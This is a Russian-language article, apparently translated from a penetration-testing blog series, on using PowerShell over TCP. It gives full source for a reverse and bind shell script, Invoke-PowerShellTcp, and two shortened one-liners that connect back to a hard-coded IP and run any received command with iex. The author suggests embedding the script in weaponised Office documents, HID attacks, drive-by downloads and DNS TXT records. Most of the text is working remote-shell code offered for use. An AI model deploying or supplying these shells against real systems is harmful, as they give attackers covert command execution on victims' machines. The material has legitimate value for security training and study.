PowerShell не нуждается в представлении. Эта утилита - одна из основных в арсенале каждого специалиста по компьютерной безопасности. PowerShell является частью ОС Windows, что позволяет выполнять различные фокусы и трюки, чем я и другие хакеры периодически занимаемся и делимся своими мыслями и скриптами.
Автор: Nikhil SamratAshok Mittal
Введение
PowerShell не нуждается в представлении. Эта утилита - одна из основных в арсенале каждого специалиста по компьютерной безопасности. PowerShell является частью ОС Windows, что позволяет выполнять различные фокусы и трюки, чем я и другие хакеры периодически занимаемся и делимся своими мыслями и скриптами.
Во время бесед и тренингов я постоянно наблюдаю плохую осведомленность о возможностях PowerShell с обеих сторон баррикад. Часто специалисты по компьютерной безопасности даже не подозревают о том, как PowerShell может значительно упростить им жизнь. Многие мои коллеги не особо жалуют PowerShell только потому, что эта утилита является детищем компании Microsoft. Короче говоря, чтобы повысить осведомленность и репутацию PowerShell в глазах сообщества, представляю вам новый цикл мастер-классов, цель которых – рассмотреть методы работы с PowerShell в различных аспектах.
В первой части мы рассмотрим методы работы с PowerShell через протокол TCP.
Начнем с обратного шелла (reverse shell). Моя разработка сделана на основе прекрасной статьи, написанной Беном Тернером (@benpturner) и Дэйвом Харди (@davehardy20). Там рассказывается о том, как работать с PowerShell в связке с Metasploit. После некоторых правок я получил скрипт Invoke-PowerShellTcp, который может работать в режиме reverse shell или bind shell.
Исходный код скрипта (без документации) выглядит так:
function Invoke-PowerShellTcp
{
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..255|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user "
+ $env:username + " on " + $env:computername + "
`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
}
Скрипт также можно найти в следующей папке: https://github.com/samratashok/nishang/tree/master/Shells
На рисунке ниже показан сервер (listener), запущенный на Kali linux:
Рисунок 1: Работа в режиме reverse shell
Сервер можно установить и на Windows-машине. На рисунке ниже в качестве listener’а используется powercat (https://github.com/besimorhino/powercat):
Рисунок 2: Сервер на базе powercat
На рисунке ниже показано использование скрипта Invoke-PowerShellTcp в режиме bind shell:
Рисунок 3: Работа в режиме bind shell
Интерактивная оболочка PowerShell может помочь нам во многих ситуациях. В одной из предыдущих статей я рассказывал о выгрузке паролей в Windows 8.1 и Windows Server 2012. Без PowerShell в том случае получить результат не представлялось возможным.
Таким же образом мы можем использовать powercat:
Рисунок 4: Вместо Invoke-PowerShellTcp используется powercat
Выбирайте тот или иной скрипт в зависимости от ситуации.
Обратите внимание, что исходный код Invoke-PowerShellTcp небольшого размера, что позволяет использовать этот скрипт в различных атаках. Например, в заряженных документах для MS Office, атаках на HID-устройства, атаках типа drive-by-download, манипуляциях с записями DNS TXT и других видах атак, где желателен скрипт небольшого размера. Скрипт Invoke-PowerShellTcp можно сократить еще, если убрать обработку ошибок и интерактивный ввод. Ниже показан укороченный скрипт Invoke-PowerShellTcpOneLine:
$client = New-Object System.Net.Sockets.TCPClient("192.168.254.1",4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).
Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
В еще более укороченной версии ничего не выводится на экран:
#$sm=(New-Object Net.Sockets.TCPClient("192.168.254.1",55555)).GetStream();[byte[]]$bt=0..255|%
{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=
([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
Ниже показано видео, где используется скрипт Invoke-PowerShellTcp в связке с заряженным документом для MS Word:
В Матрице безопасности выбор очевиден